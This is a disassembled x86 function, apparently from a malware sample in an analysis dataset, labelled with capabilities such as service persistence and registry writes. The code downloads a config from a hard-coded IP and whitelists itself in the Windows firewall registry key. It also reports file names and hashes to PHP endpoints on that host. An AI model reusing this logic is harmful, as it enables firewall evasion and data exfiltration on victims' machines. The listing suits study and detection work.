Function at 0x402190
Capabilities:
Delete file
Persist via windows service
Read .ini file
Set registry value

Disassembly:
sub esp, 0x78c
lea eax, [esp + 0x14c]
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push esi
push edi
push 0x104
push eax
push 0
call ebp
lea ecx, [esp + 0x15c]
push 0x5c
push ecx
call fcn.00404270
add esp, 8
test eax, eax
je 0x4029d7
lea edx, [esp + 0x15c]
push 0x5c
push edx
call fcn.00404270
mov byte [eax], 0
mov edi, str._rule.ini
or ecx, 0xffffffff
xor eax, eax
add esp, 8
lea edx, [esp + 0x15c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x104
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x264]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
push 0
call ebp
lea ecx, [esp + 0x260]
push 0x5c
push ecx
call fcn.00404270
add esp, 8
test eax, eax
je 0x40239b
lea ecx, [esp + 0x260]
push 0x5c
push ecx
call fcn.00404270
mov byte [eax], 0
mov edi, str.list.ini
or ecx, 0xffffffff
xor eax, eax
add esp, 8
lea edx, [esp + 0x260]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
mov ebx, dword [esp + 0x7a8]
and ecx, 3
cmp byte [ebx], 0
rep movsb byte es:[edi], byte [esi]
je 0x402370
lea eax, [esp + 0x15c]
push eax
push str.http:__121.207.250.58_update_rule.ini
call fcn.00402b70
add esp, 8
test eax, eax
je 0x4029d7
lea ecx, [esp + 0x15c]
lea edx, [esp + 0x56c]
push ecx
push 0x104
push edx
push 0
push str.onoff
push str.check
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test eax, eax
je 0x4029d7
mov al, byte [esp + 0x56c]
cmp al, 0x66
je 0x4029d7
cmp al, 0x46
je 0x4029d7
push 0x5c
push ebx
call fcn.00404270
add esp, 8
test eax, eax
je 0x4029d7
push 0x5c
push ebx
call fcn.00404270
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x68c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
add esp, 4
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x688]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov dword [esp + 0x28], esp
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, esp
push edx
call fcn.0040fa34
push ecx
mov ecx, esp
mov dword [esp + 0x2c], esp
push ebx
call fcn.0040fa34
call fcn.00402e70
add esp, 8
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x78c
ret 0x10
call fcn.004029f0
test eax, eax
je 0x4023f1
call fcn.00402b40
test eax, eax
je 0x40239b
lea ecx, [esp + 0x15c]
push ecx
push str.http:__121.207.250.58_update_rule.ini
call fcn.00402b70
add esp, 8
test eax, eax
jne 0x4023c4
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea edx, [esp + 0x15c]
push edx
call esi
lea eax, [esp + 0x260]
push eax
call esi
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x78c
ret 0x10
mov ebx, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea ecx, [esp + 0x15c]
push ecx
lea edx, [esp + 0x368]
push 0x104
push edx
push 0
push str.onoff
push str.check
call ebx
test eax, eax
jne 0x40241a
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [esp + 0x15c]
push eax
call esi
lea ecx, [esp + 0x260]
push ecx
call esi
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x78c
ret 0x10
mov al, byte [esp + 0x364]
cmp al, 0x66
je 0x4029bd
cmp al, 0x46
je 0x4029bd
mov edx, dword [0x41d52c]
lea eax, [esp + 0x364]
push 0x104
push eax
push 0
mov dword [esp + 0x28], edx
call ebp
lea ecx, [esp + 0x364]
lea edx, [esp + 0x1c]
push ecx
push str._s::Enabled:
push edx
call fcn.0040f1fa
add esp, 0xc
lea eax, [esp + 0x28]
push eax
push 0xf003f
push 0
push str.SYSTEMCurrentControlSetServicesSharedAccessParametersFirewallPolicyStandardProfileAuthorizedApplicationsList
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov ecx, dword [esp + 0x1c]
mov eax, dword [ecx - 8]
lea ecx, [esp + 0x1c]
push eax
push eax
call fcn.0040fd42
push eax
push 1
mov eax, dword [esp + 0x34]
lea edx, [esp + 0x370]
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [esp + 0x28]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor ebp, ebp
lea edx, [esp + 0x20]
push 0xa
push edx
push ebp
call fcn.0040e39a
add esp, 0xc
lea eax, [esp + 0x260]
lea ecx, [esp + 0x58]
lea edx, [esp + 0x20]
push eax
push 0x104
push ecx
push 0
push edx
push str.list
call ebx
test eax, eax
je 0x402959
lea eax, [esp + 0x58]
push 0x5c
push eax
call fcn.00404270
add esp, 8
test eax, eax
je 0x40298b
lea ecx, [esp + 0x58]
push 0x5c
push ecx
call fcn.00404270
mov edi, eax
or ecx, 0xffffffff
inc edi
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x470]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x470]
push ecx
call fcn.0040ed40
add esp, 0xc
xor esi, esi
lea edx, [esp + 0x20]
push 0xa
push edx
push esi
call fcn.0040e39a
add esp, 0xc
lea eax, [esp + 0x15c]
lea ecx, [esp + 0x364]
lea edx, [esp + 0x20]
push eax
push 0x104
push ecx
push 0
push edx
push str.name
call ebx
test eax, eax
je 0x4025b6
lea eax, [esp + 0x364]
push eax
call fcn.0040ed40
lea ecx, [esp + 0x46c]
lea edx, [esp + 0x368]
push ecx
push edx
call fcn.00402d80
add esp, 0xc
test eax, eax
jne 0x40261e
inc esi
cmp esi, 0xff
jl 0x40254d
xor esi, esi
lea eax, [esp + 0x20]
push 0xa
push eax
push esi
call fcn.0040e39a
add esp, 0xc
lea ecx, [esp + 0x15c]
lea edx, [esp + 0x364]
lea eax, [esp + 0x20]
push ecx
push 0x104
push edx
push 0
push eax
push 0x41d2e8
call ebx
test eax, eax
je 0x40294c
lea ecx, [esp + 0x58]
lea edx, [esp + 0x364]
push ecx
push edx
call fcn.00402e20
add esp, 8
test eax, eax
jne 0x4027b5
inc esi
cmp esi, 0xff
jl 0x4025b8
jmp 0x40294c
lea eax, [esp + 0x58]
push eax
call fcn.004012f0
add esp, 4
test eax, eax
jne 0x40294c
mov eax, dword [0x41d52c]
push ecx
lea edx, [esp + 0x5c]
mov ecx, esp
mov dword [esp + 0x1c], esp
push edx
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
call fcn.0040fa34
lea eax, [esp + 0x54]
push eax
call fcn.00401f30
mov ecx, dword [eax]
add esp, 8
lea edx, [esp + 0x10]
push ecx
push str.http:__121.207.250.58_CheckInfo.php_HASH_s
push edx
call fcn.0040f1fa
add esp, 0xc
lea ecx, [esp + 0x50]
call fcn.0040fa0a
mov eax, dword [esp + 0x10]
lea ecx, [esp + 0x30]
push eax
push ecx
call fcn.004030c0
add esp, 8
lea ecx, [esp + 0x14]
push eax
call fcn.0040fab3
lea ecx, [esp + 0x30]
call fcn.0040fa0a
push str.NOFIND
lea ecx, [esp + 0x18]
call fcn.0040ee74
test eax, eax
jl 0x4027a3
push ecx
lea edx, [esp + 0x46c]
mov ecx, esp
mov dword [esp + 0x1c], esp
push edx
call fcn.0040fa34
push ecx
lea eax, [esp + 0x60]
mov ecx, esp
mov dword [esp + 0x20], esp
push eax
call fcn.0040fa34
call fcn.00402e70
add esp, 8
lea ecx, [esp + 0x684]
lea edx, [esp + 0x58]
push ecx
push edx
call fcn.0040ffe6
lea ecx, [esp + 0x58]
lea edx, [esp + 0x4c]
mov eax, dword [esp + 0x690]
push eax
push ecx
push edx
call fcn.00403350
mov eax, dword [eax]
add esp, 8
lea ecx, [esp + 0x5c]
lea edx, [esp + 0x38]
push eax
push ecx
push edx
call fcn.00403200
mov eax, dword [eax]
add esp, 8
lea edx, [esp + 0x60]
push eax
push ecx
mov ecx, esp
mov dword [esp + 0x28], esp
push edx
call fcn.0040fa34
lea eax, [esp + 0x48]
push eax
call fcn.00401f30
mov ecx, dword [eax]
add esp, 8
lea edx, [esp + 0x474]
lea eax, [esp + 0x1c]
push ecx
push edx
push str.http:__121.207.250.58_PutInfoToDB.php_NAME_sHASH_sCompanyInfo_sVersionInfo_sSizeInfo_d
push eax
call fcn.0040f1fa
add esp, 0x1c
lea ecx, [esp + 0x38]
call fcn.0040fa0a
lea ecx, [esp + 0x34]
call fcn.0040fa0a
lea ecx, [esp + 0x4c]
call fcn.0040fa0a
mov ecx, dword [esp + 0x10]
lea edx, [esp + 0x3c]
push ecx
push edx
call fcn.004030c0
add esp, 8
lea ecx, [esp + 0x14]
push eax
call fcn.0040fab3
lea ecx, [esp + 0x3c]
call fcn.0040fa0a
lea ecx, [esp + 0x14]
call fcn.0040fa0a
lea ecx, [esp + 0x10]
jmp 0x402947
lea eax, [esp + 0x58]
push eax
call fcn.004012f0
add esp, 4
test eax, eax
jne 0x40294c
mov eax, dword [0x41d52c]
push ecx
lea edx, [esp + 0x5c]
mov ecx, esp
mov dword [esp + 0x1c], esp
push edx
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
call fcn.0040fa34
lea eax, [esp + 0x58]
push eax
call fcn.00401f30
mov ecx, dword [eax]
add esp, 8
lea edx, [esp + 0x10]
push ecx
push str.http:__121.207.250.58_CheckInfo.php_HASH_s
push edx
call fcn.0040f1fa
add esp, 0xc
lea ecx, [esp + 0x54]
call fcn.0040fa0a
mov eax, dword [esp + 0x10]
lea ecx, [esp + 0x2c]
push eax
push ecx
call fcn.004030c0
add esp, 8
lea ecx, [esp + 0x14]
push eax
call fcn.0040fab3
lea ecx, [esp + 0x2c]
call fcn.0040fa0a
push str.NOFIND
lea ecx, [esp + 0x18]
call fcn.0040ee74
test eax, eax
jl 0x40293a
push ecx
lea edx, [esp + 0x46c]
mov ecx, esp
mov dword [esp + 0x1c], esp
push edx
call fcn.0040fa34
push ecx
lea eax, [esp + 0x60]
mov ecx, esp
mov dword [esp + 0x20], esp
push eax
call fcn.0040fa34
call fcn.00402e70
add esp, 8
lea ecx, [esp + 0x56c]
lea edx, [esp + 0x58]
push ecx
push edx
call fcn.0040ffe6
lea ecx, [esp + 0x58]
lea edx, [esp + 0x44]
mov eax, dword [esp + 0x578]
push eax
push ecx
push edx
call fcn.00403350
mov eax, dword [eax]
add esp, 8
lea ecx, [esp + 0x5c]
lea edx, [esp + 0x44]
push eax
push ecx
push edx
call fcn.00403200
mov eax, dword [eax]
add esp, 8
lea edx, [esp + 0x60]
push eax
push ecx
mov ecx, esp
mov dword [esp + 0x28], esp
push edx
call fcn.0040fa34
lea eax, [esp + 0x58]
push eax
call fcn.00401f30
mov ecx, dword [eax]
add esp, 8
lea edx, [esp + 0x474]
lea eax, [esp + 0x1c]
push ecx
push edx
push str.http:__121.207.250.58_PutInfoToDB.php_NAME_sHASH_sCompanyInfo_sVersionInfo_sSizeInfo_d
push eax
call fcn.0040f1fa
add esp, 0x1c
lea ecx, [esp + 0x48]
call fcn.0040fa0a
lea ecx, [esp + 0x40]
call fcn.0040fa0a
lea ecx, [esp + 0x44]
call fcn.0040fa0a
mov ecx, dword [esp + 0x10]
lea edx, [esp + 0x24]
push ecx
push edx
call fcn.004030c0
add esp, 8
lea ecx, [esp + 0x14]
push eax
call fcn.0040fab3
lea ecx, [esp + 0x24]
call fcn.0040fa0a
lea ecx, [esp + 0x14]
call fcn.0040fa0a
lea ecx, [esp + 0x10]
call fcn.0040fa0a
inc ebp
cmp ebp, 0xff
jl 0x4024b9
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea edx, [esp + 0x15c]
push edx
call esi
lea eax, [esp + 0x260]
push eax
call esi
lea ecx, [esp + 0x1c]
call fcn.0040fa0a
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x78c
ret 0x10
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [esp + 0x15c]
push eax
call esi
lea ecx, [esp + 0x260]
push ecx
call esi
lea ecx, [esp + 0x1c]
call fcn.0040fa0a
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x78c
ret 0x10
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [esp + 0x15c]
push ecx
call esi
lea edx, [esp + 0x260]
push edx
call esi
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x78c
ret 0x10